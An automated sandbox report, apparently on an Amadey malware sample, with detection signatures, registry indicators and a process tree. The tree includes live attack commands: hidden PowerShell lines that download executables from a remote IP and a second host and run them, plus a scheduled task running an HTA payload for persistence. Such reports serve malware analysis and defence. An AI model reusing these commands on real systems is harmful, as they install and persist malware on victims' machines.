amadey | ef2ed643a7de3a24498db1d85d6d9bfc217bda90f5c2948d9d3a317b2e155f67

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ramez.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ramez.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ramez.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE

Blocklisted process makes network request 3 IoCs

flow	pid	Process
1	2520	powershell.exe
5	2272	powershell.exe
6	2100	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2520	powershell.exe
2272	powershell.exe
2100	powershell.exe
2272	powershell.exe
2100	powershell.exe
3644	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
1	2520	powershell.exe
45	2848	4e423e47a2.exe

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ramez.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ramez.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ramez.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ramez.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ramez.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ramez.exe

Executes dropped EXE 9 IoCs

pid	Process
4944	TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE
612	ramez.exe
2848	4e423e47a2.exe
3768	ramez.exe
4340	xlogin-private.exe
3188	xlogin-private.exe
2584	xlogin-private.exe
3532	xlogin-private.exe
1300	ramez.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-434880884-4028056734-3558218839-1000\Software\Wine	ramez.exe
Key opened	\REGISTRY\USER\S-1-5-21-434880884-4028056734-3558218839-1000\Software\Wine	TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE
Key opened	\REGISTRY\USER\S-1-5-21-434880884-4028056734-3558218839-1000\Software\Wine	ramez.exe
Key opened	\REGISTRY\USER\S-1-5-21-434880884-4028056734-3558218839-1000\Software\Wine	ramez.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-434880884-4028056734-3558218839-1000\Software\Microsoft\Windows\CurrentVersion\Run\XLogin = "\"c:\\users\\public\\downloads\\xlogin-private.exe\" -silent"	xlogin-private.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-434880884-4028056734-3558218839-1000\Software\Microsoft\Windows\CurrentVersion\Run\XLogin = "\"C:\\Users\\Public\\Downloads\\xlogin-private.exe\" -silent"	xlogin-private.exe

Checks whether UAC is enabled 1 TTPs 3 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	xlogin-private.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	xlogin-private.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	xlogin-private.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	api.ipify.org
30	api.ipify.org
87	api.ipify.org

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
4944	TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE
612	ramez.exe
3768	ramez.exe
1300	ramez.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\ramez.job	TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE
File opened for modification	C:\Windows\SystemTemp	msedgewebview2.exe
File opened for modification	C:\Windows\SystemTemp	msedgewebview2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ramez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4e423e47a2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedgewebview2.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

System Information Discovery

defense_evasion spyware trojan

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedgewebview2.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedgewebview2.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133939372720345321"	msedgewebview2.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-434880884-4028056734-3558218839-1000_Classes\Local Settings	ramez.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-434880884-4028056734-3558218839-1000\{8045C120-1A97-4959-9425-0800C64B3978}	msedgewebview2.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-434880884-4028056734-3558218839-1000\{0A8B59D7-7EE5-45F9-ABDF-09F40168D41C}	msedgewebview2.exe

Modifies system certificate store 2 TTPs 3 IoCs

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	xlogin-private.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	xlogin-private.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	xlogin-private.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5296	schtasks.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
2520	powershell.exe
2520	powershell.exe
4944	TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE
4944	TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE
612	ramez.exe
612	ramez.exe
2272	powershell.exe
2272	powershell.exe
2100	powershell.exe
2100	powershell.exe
2848	4e423e47a2.exe
2848	4e423e47a2.exe
3768	ramez.exe
3768	ramez.exe
3644	powershell.exe
3644	powershell.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
3912	msedgewebview2.exe
1300	ramez.exe
1300	ramez.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
2236	msedgewebview2.exe
1904	msedgewebview2.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	4340	xlogin-private.exe
Token: SeDebugPrivilege	3188	xlogin-private.exe
Token: SeDebugPrivilege	2584	xlogin-private.exe
Token: SeDebugPrivilege	3644	powershell.exe
Token: SeDebugPrivilege	3532	xlogin-private.exe
Token: 33	5044	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	5044	AUDIODG.EXE

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1588	random.exe
1588	random.exe
1588	random.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1588	random.exe
1588	random.exe
1588	random.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1588 wrote to memory of 3424	1588	random.exe	78
PID 1588 wrote to memory of 3424	1588	random.exe	78
PID 1588 wrote to memory of 3424	1588	random.exe	78
PID 1588 wrote to memory of 1992	1588	random.exe	79
PID 1588 wrote to memory of 1992	1588	random.exe	79
PID 1588 wrote to memory of 1992	1588	random.exe	79
PID 3424 wrote to memory of 5296	3424	cmd.exe	81
PID 3424 wrote to memory of 5296	3424	cmd.exe	81
PID 3424 wrote to memory of 5296	3424	cmd.exe	81
PID 1992 wrote to memory of 2520	1992	mshta.exe	82
PID 1992 wrote to memory of 2520	1992	mshta.exe	82
PID 1992 wrote to memory of 2520	1992	mshta.exe	82
PID 2520 wrote to memory of 4944	2520	powershell.exe	84
PID 2520 wrote to memory of 4944	2520	powershell.exe	84
PID 2520 wrote to memory of 4944	2520	powershell.exe	84
PID 4944 wrote to memory of 612	4944	TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE	85
PID 4944 wrote to memory of 612	4944	TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE	85
PID 4944 wrote to memory of 612	4944	TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE	85
PID 612 wrote to memory of 2880	612	ramez.exe	86
PID 612 wrote to memory of 2880	612	ramez.exe	86
PID 612 wrote to memory of 2880	612	ramez.exe	86
PID 2880 wrote to memory of 2272	2880	cmd.exe	88
PID 2880 wrote to memory of 2272	2880	cmd.exe	88
PID 2880 wrote to memory of 2272	2880	cmd.exe	88
PID 612 wrote to memory of 1720	612	ramez.exe	89
PID 612 wrote to memory of 1720	612	ramez.exe	89
PID 612 wrote to memory of 1720	612	ramez.exe	89
PID 1720 wrote to memory of 2100	1720	cmd.exe	91
PID 1720 wrote to memory of 2100	1720	cmd.exe	91
PID 1720 wrote to memory of 2100	1720	cmd.exe	91
PID 612 wrote to memory of 2848	612	ramez.exe	92
PID 612 wrote to memory of 2848	612	ramez.exe	92
PID 612 wrote to memory of 2848	612	ramez.exe	92
PID 2880 wrote to memory of 4340	2880	cmd.exe	94
PID 2880 wrote to memory of 4340	2880	cmd.exe	94
PID 952 wrote to memory of 3188	952	cmd.exe	97
PID 952 wrote to memory of 3188	952	cmd.exe	97
PID 4340 wrote to memory of 2584	4340	xlogin-private.exe	98
PID 4340 wrote to memory of 2584	4340	xlogin-private.exe	98
PID 2584 wrote to memory of 2236	2584	xlogin-private.exe	100
PID 2584 wrote to memory of 2236	2584	xlogin-private.exe	100
PID 2236 wrote to memory of 1844	2236	msedgewebview2.exe	101
PID 2236 wrote to memory of 1844	2236	msedgewebview2.exe	101
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102
PID 2236 wrote to memory of 3580	2236	msedgewebview2.exe	102

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1588
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn 249nIma5Z3m /tr "mshta C:\Users\Admin\AppData\Local\Temp\LstTyuTGs.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3424
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn 249nIma5Z3m /tr "mshta C:\Users\Admin\AppData\Local\Temp\LstTyuTGs.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5296
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\LstTyuTGs.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'BDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2520
  - - C:\Users\Admin\AppData\Local\TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE
      "C:\Users\Admin\AppData\Local\TempBDQACWSKEQ28I25EFOZSOSXUKYR1L9U3.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4944
    - - C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
        
        "C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:612
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10341791121\rUN5TjB.cmd"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2880
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://xlogin.io/xlogin-private.exe' -OutFile 'xlogin-private.exe'"
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2272
        
        C:\Users\Public\Downloads\xlogin-private.exe
        
        "xlogin-private.exe" -silent
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Checks whether UAC is enabled
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4340
        
        C:\Users\Public\Downloads\xlogin-private.exe
        
        C:\Users\Public\Downloads\xlogin-private.exe
        8⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2584
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --disable-features=msSmartScreenProtection --mojo-named-platform-channel-pipe=2584.2304.10974155034723707891
        9⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of WriteProcessMemory
        
        PID:2236
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=132.0.2957.140 --initial-client-data=0x160,0x164,0x168,0x13c,0x170,0x7ffd186eb078,0x7ffd186eb084,0x7ffd186eb090
        10⤵
        
        PID:1844
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
